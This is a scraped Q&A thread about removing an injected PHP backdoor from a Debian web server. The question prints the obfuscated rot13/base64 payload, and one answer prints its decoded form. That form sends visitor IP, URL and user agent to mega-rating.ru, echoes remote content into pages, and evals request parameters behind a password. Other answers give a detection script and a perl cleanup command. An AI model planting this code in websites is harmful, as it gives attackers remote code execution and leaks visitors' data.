简体   繁体   中英

Malware attack on my server

All the Index.php, header.php, footer.php files on my server have this code segment. Possible Malware. Now i would like to remove all this junk data from all my files at once. I'm using PHP on Debian system.

<?php
//###=CACHE START=###
error_reporting(0); 
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl9gMJquYKWuqTyhMl5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwN1LJIzMGIxMwN4ZGt5AwquZJV0AGx2ATZmAQLkAmSyVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtr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SHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
?>

I've Tried using Regex via PHP but no help i've also tried sed on Linux server

sed -e '/@\$stringd' index.php

but unable to save file. Please help.

As @jeroen said, re-installing would be good because you really don't know what backdoors could be around right now.

Then you will have to clean up your PHP files. Create a new script in your projects root directory something like scan.php .

Instead of automatically removing the problems i would suggest creating a helper to check where there might be still malware inside your code:

$dir = new DirectoryIterator(dirname(__FILE__));

foreach ($dir as $fileinfo) 
{
    if (!$fileinfo->isDot()) 
    {
        $fileContents = file_get_contents($fileinfo->getFilename());

        if (strpos($fileContents, 'str_rot13') !== false)
        {
            print "Check this file: " . $fileinfo->getFilename() . "\n";
        }
    }
}

This script is pretty Raw you will have to modifiy it for your needs.

Block connections

The decoded script looks the following:

<?php

if (isset($ibv)) {
    echo $ibv;
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
    if (!isset($ibv)) {
        if (!empty($_COOKIE['client_check'])) {
            die($_COOKIE['client_check']);
        }
        if (preg_match('!\S!u', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
            $c = 'u';
        } else {
            $c = 'w';
        }
        $d = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
        $u = $_SERVER['HTTP_USER_AGENT'];
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = 'http://mega-rating.ru/get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1');
        if (ini_get('allow_url_fopen') == 1) {
            $ibv = file_get_contents($url);
        } elseif (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $result = curl_exec($ch);
            curl_close($ch);
            $ibv = $result;
        } else {
            $fp = fsockopen('mega-rating.ru', 80, $errno, $errstr, 30);
            if ($fp) {
                $out = 'GET /get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1')." HTTP/1.1\r\n";
                $out .= "Host: mega-rating.ru\r\n";
                $out .= "Connection: Close\r\n\r\n";
                fwrite($fp, $out);
                $resp = '';
                while (!feof($fp)) {
                    $resp .= fgets($fp, 128);
                }

                fclose($fp);
                list($header, $body) = preg_split("/\R\R/", $resp, 2);
                $ibv = $body;
            }
        }
    };
    if (isset($_REQUEST['p']) && $_REQUEST['p'] == '69bc0930') {
        eval(stripslashes($_REQUEST['c']));
    }

    echo $ibv;
}

I would also suggest blocking all connections in and out to the host mega-rating.ru .

Reinstalling the server is indeed the safest option.
But without recent backups of those php scripts ...

Anyway, sed isn't the best tool for multi-line replacements in files.
And you'd want to remove anything between those CACHE comments.
I would use Perl or Awk for that.

Here's a single line perl solution that removes those comments from a file.
(also creates a .bak copy of the original file)

perl -i.bak -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' index.php

Note that @ was used to for the separators of the regex. Typically / is used, but this way the / don't have to be backslashed in the regex.

For multiple *.php files (without .bak copies)

perl -i -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' *.php

The perl flags used:

-i[extension]     edit <> files in place (makes backup if extension supplied)
-p                assume loop like -n but print line also, like sed
-0[octal]         specify record separator (\0, if no argument)
-e program        one line of program (several -e's allowed, omit programfile)

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM